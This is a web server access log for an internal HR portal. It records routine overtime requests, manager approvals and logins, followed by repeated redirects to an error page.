192.168.11.51 - - [04/Sep/2025:13:32:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.51 - - [04/Sep/2025:13:32:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [04/Sep/2025:13:32:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.51 - - [04/Sep/2025:13:32:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [04/Sep/2025:13:32:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3160348461134166 HTTP/1.1" 200 8640 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [04/Sep/2025:13:32:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3160348461134166 HTTP/1.1" 200 8640
192.168.11.51 - - [04/Sep/2025:13:33:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3160348461134166 HTTP/1.1" 200 14068 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3160348461134166" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [04/Sep/2025:13:33:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3160348461134166 HTTP/1.1" 200 14068
192.168.11.51 - - [04/Sep/2025:13:33:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074
192.168.11.51 - - [04/Sep/2025:13:33:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:13:35:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:13:35:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:13:38:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:13:38:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:13:38:50 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:13:38:50 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:13:39:12 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0"
100.64.0.1 - - [04/Sep/2025:13:39:12 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [04/Sep/2025:13:43:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:13:43:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:13:44:48 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:13:44:48 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:14:04:58 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/windows-1252.so HTTP/1.1" 200 24675 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:14:04:58 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/windows-1252.so HTTP/1.1" 200 24675
100.64.0.1 - - [04/Sep/2025:14:11:31 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:14:11:31 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:14:13:46 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:14:13:46 +0800] "GET / HTTP/1.1" 200 439
192.168.40.91 - - [04/Sep/2025:14:14:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.91 - - [04/Sep/2025:14:14:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:14:32 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:14:32 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:14:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206
192.168.40.91 - - [04/Sep/2025:14:14:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:14:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:14:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340
192.168.40.91 - - [04/Sep/2025:14:14:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 40888
192.168.40.91 - - [04/Sep/2025:14:14:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 40888 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131068%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131068&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131068%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131068&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:23 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:23 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131069%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131069&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131069%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131069&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
